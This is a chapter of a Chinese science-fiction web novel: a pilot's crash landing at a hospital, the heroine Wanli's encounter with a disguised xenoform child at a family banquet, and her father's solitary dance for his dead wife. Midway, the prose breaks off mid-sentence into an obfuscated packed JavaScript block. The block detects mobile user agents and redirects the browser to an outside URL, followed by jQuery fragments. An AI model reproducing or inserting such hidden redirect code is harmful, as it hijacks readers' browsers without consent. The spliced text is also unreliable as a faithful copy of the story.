年轻护士掏出终端,在屏幕上点点按按。
“围栏维修费一万二,地面修缮费三千五,通风管道更换费八千,灭火器损耗费两百,石膏重新包扎的医疗材料费六百。”
她把终端杵到驾驶员跟前:“确认一下账单,没问题的话直接对接保险公司了。另外,你可能要向这两位支付精神损失费。”
驾驶员捂着脑袋站起来,身体摇摇晃晃:“艾达姐,我……这些东西我都会修,真不用找保险公司定损。”
“飞行系的保险池子快见底了,再报一次,明年的保费又得涨。”
“何遇白同学。”艾达一声冷笑,收回终端,“这是今年的第七次,你的第二次!我有理由怀疑你们飞行系为了节省赔偿成本,故意拿我院的观景台当备降点。”
护士往前迈了一步,灭火器杵在地上,当当直响。
“放着你们自己的深蓝总院不撞,每次都往我们深红跑?离得近不是借口!军事学院的东校区离深蓝总院也就两公里,两公里都飞不了?”
何遇白听完脑袋更晕了。
“啊?说话!”
“这位……还有这位,实在对不起。”他决定岔开话题。
何遇白扶着栏杆,勉强鞠了躬,头上的血顺着鼻梁滴在地上:“精神赔偿,你们说个数吧。”
莉诺觉得这声音有点耳熟,却忘了在哪听过:“别了,你还是留着给自己看病吧。”
“1床——万里在吗?”楼梯口有护士在喊,“负一层拍片子!”
“来了!”莉诺推起轮椅就走。
艾达打量何遇白的脑门,心说这小子头上的伤看着不浅。
“要挂个号吗?”
何遇白的脑袋摇得快极了,一点看不出刚才的难受劲儿:“算了吧,这儿不给报销,我得回深蓝总院。”
“我说吧,就是成心的!”
艾达一声冷哼,拎着灭火器走了。
观景台安静下来。
夕阳把地面照成暗橘色,何遇白目送她消失在楼梯口后,慢慢收回那副狼狈相。
“嗡——”
终端突然震动,他拍拍手上干粉,按下接通。
“见到她了?”
“见到了。”何遇白夹上终端,从着火的驾驶舱里拖出书包,对着底部的火星子拍了又拍。
“如何评估?”
“不是我说,你们是不是未雨绸缪得有点早了。”何遇白靠在机翼边上,一边欣赏薇斯珀海峡的绝美落日,一边拿袖子擦脸。
“人家还坐着轮椅呢,脚打石膏,头缠纱布……那位铁娘子再心急,也不可能把一个半残废硬塞进编制吧。”
电话那头沉默片刻。
“你懂个屁!她一旦进了深红序列,到时候再想挖人就晚了。别扯这些,你就没有其他发现?”
“没有。”何遇白吸吸鼻子,“没瞧见什么异常。那些话八成就是迪昂喝多了胡咧咧的,怎么能当真呢。”
什么几百米高的利维坦,什么从天而降的巨型异种,什么大的打小的跟老子打儿子似的……
何遇白觉得迪昂那货一定是加班加出幻觉了。
“那你先回——等等。”电话那头一顿,“斯塔列娃家下周有个宴会,你知道吧?”
“知道啊……”何遇白打了个哈欠。
“正好你去。”
“你是不是忘了我姓什么?”何遇白乐了,“我出现在斯塔列娃家的宴会上,那叫军火商上门推销,吃相太难看了,会影响我家股价的。”
“那个万里,在军事学院下学期的预录取名单上,你就以学院迎新联络员的身份过去。一个渔村猎人的宴,宾客全是将星和议员,你不觉得蹊跷?她身上一定有什么东西……”
其实何遇白想说这并不蹊跷,毕竟人家是祖孙,请谁来不是请?但他换了个角度。
“不是,她一指挥系的,轮得到我这个飞行系的过去迎新啊?”
“轮得到!”电话那头急了,“不去就等着延毕吧!”
何遇白对着熄灭的屏幕看了两秒,确认是被对面甩了脸子。他站在原地,认真捋了一遍这几年的日子,得出结论:
回去继承家业不好吗?当初怎么就非要来云都给这帮人当孙子?不,还不如孙子,至少他爷没这样吼过他。
叹了口气,何遇白拎起书包,结果书包也不争气,底部被烧裂了,里头东西漏了一地,全是不值钱的零碎。
他越看越来气。
“去你大爷的!”
短毛儿终于破防,一脚把倒霉书包踹到楼下,可踹完就想起证件还在里头。
.
这是万里第二次来到光都,上次是十年前。
东部主城的繁荣程度比《起航》杂志上还要夸张,夸张到她以为这是另一颗星球。直到悬浮车拐上盘山公路,那栋记忆中的私邸出现后,才感觉回到现实。
老万推着万里进去时,门厅里已站了不少宾客。
那些人的眼神说不上同情还是打量,扫一眼父女就继续聊天。亲戚们的反应也差不多,点下头算是打过招呼。
万里认为这很好。
野孩子不用装乖,文明人也不用装亲,两边都好。
宴会开始时,除了在薇拉身边亮相五分钟,其余时间万里都在餐桌附近活动。
手腕上的涅蓝蠢蠢欲动,时不时抠下一点食物碎屑。万里用盖毯打掩护,叉了块熏鱼送到毯子底下,瞬间被分解。
小牛排,走你。
香煎扇贝,走你。
鱼子酱塔壳,走你。
涅蓝显然心情不错,很给面子地没抢盘子。她也难得省心,顺手叉起一块奶霜慕斯,走你!
手腕上的东西嘎巴一下吃死过去。
万里:“……”
完,忘了它对牛奶过敏。
粗心的人类拽拽袖子,找路过的侍者要了杯气泡饮,假装无事发生。
正想把涅蓝倒出来看看死透没有,身旁忽然多出道小小身影。
是个六岁左右的男童,趴在桌沿上够那盘达克瓦兹,万里见状把碟子推到他面前。
男孩腼腆笑了,歪着头打量万里,视线转了一圈,最后落到她的右手袖口。
万里警觉起来,同时闻到淡淡的海腥味,几乎被食物气味盖住。她看到男孩的脖颈处有道疤痕,下方埋着发光的微型装置。
声波抑制模块。
是生物工程部的试行技术,嵌在声带附近的软组织中,用来阻断特定频率的声波输出,目前只用在一类对象上——
回声异种。
“不好意思!”
一只手忽然攥住男孩肩膀。
女人妆容精致却难掩慌乱,勉强维持着微笑,带着男孩转身就走。
那只小异种回头朝餐桌方向挥了挥手,万里目送这对“母子”离去。
明知危险,却还要制造一个不会发生的重逢……万里敬佩这种刻舟求剑的精神,对着女人消失的方向遥遥举杯。
舞池里的音乐换了。
弦乐轻轻地起了头,钢琴跟上来,几个音符散散落落地铺开,带着旧日的温柔,有女声轻唱:
【我们终将重逢】
【毕竟天地如此窄小】
万屹站在舞池边缘,手里举着不知第几杯香槟,一边嫌弃没劲儿一边往嘴里灌。
这首曲子他记得。
二十三年前,灰都中部高地的一家酒馆里,收音机放的就是这首。
他躲雨到了那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483286|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,尤利娅坐在吧台边上,手里捧着热巧克力,正跟酒保争论热巧克力里该不该加盐。
“盐能提味。”尤利娅说。
“盐是异端!”酒保回答。
万屹在门口站了会儿:“能借把伞吗?”
他问的是酒保,看的却是她。
“司令。”
万屹回神,面前站了两男一女。他们衣着光鲜,笑容得体。其中一个是总署后勤部的处长,另外两个不认识,看着像一路的。
处长行了个军礼:“好久不见,驻防这些年辛苦了。”
万屹握了下男人的手:“还成。”
“刚才见到你女儿了,她很勇敢。”处长停顿了下,换上缅怀的神情,“尤利娅要是看到她现在的样子,一定很欣慰。”
女人配合地叹气:“是啊,走得太突然了,我们都很惋惜。”
另一个男人接上:“尤利娅一直是最优秀的,这么多年了,我们都很想念她。”
三个人切换到“节哀顺变”模式,微微侧头,眉头恰到好处皱起,温柔又哀伤地……举杯相碰。
【要知道在这小小天地】
【一切都那么弥足珍贵】
万屹突然感到厌烦:“你们都认识尤利娅?”
“当然!”处长热情地说,“早年在总署的时候,我们经常——”
“她喜欢喝什么?”万屹打断。
三人一愣。
“她喜欢喝什么?”他又问。
三人面面相觑。
“这个……”处长笑着耸肩,“毕竟这么多年了。”
“她喜欢喝加盐的热巧克力。”万屹说,“热得烫嘴的那种,再加半勺盐,少一点都不行。”
三人的微笑僵在脸上。
万屹把手里那杯香槟仰头闷了,又拿起另一杯灌进嘴里,他解下西装外套,随手搭在路过的侍者肩上。后者端着托盘,表情介于困惑和惊恐之间。
处长的笑容出现裂痕:“这是?”
“你们不认识尤利娅。你们认识的那个人叫尤利娅·斯塔列娃,是那行编号、履历……是后面的姓氏。”
【转啊转,那张老唱片】
【你我曾如此喜欢】
“你们不认识她。”万屹又闷了一杯,“所以请你们,不要用那种表情,提起她的名字。”
三人一时摸不清这个鳏夫的路子。
万屹忽然靠近油亮头发的男人,双手张开,像只发疯的螃蟹,又若无其事地转身,大声跟唱起那首音乐。
他身体摇晃,步伐凌乱,实在不体面。
剩下的三人对视一眼,纷纷后撤,消失在人群中。
万屹独自走进舞池。
还在舞动的人旋转着让路,有人拉着同伴退到边上,他什么都不管了。
起势,转身,收肩,抬手。
万屹闭着眼,右手虚虚揽在半空,左手抬起,像是真的握着谁的掌心。
巨大的宴会厅灯火通明,衣香鬓影的人群中空出小块地方,一个喝得半疯的中年男人在独自起舞。
【往日那些记忆】
【我把它们精心保存】
男人所到之处,起舞的人纷纷避让,尴尬在空气里蔓延,那些人或许在后悔今晚为什么要来。
只有万里笑了。
她看着老万,在满屋无措的目光中独自跳着双人舞,落脚甚至比舞池里任何一个男步都要精准。
就像他一直都知道“舞伴”在哪。
一直知道。
【痛苦的心没有答案】
【但一切正在好转】
音乐渐近尾声。
弦乐慢慢退去,只剩钢琴孤零零地响着,一下一下,敲在万屹始终抬着的那只手上。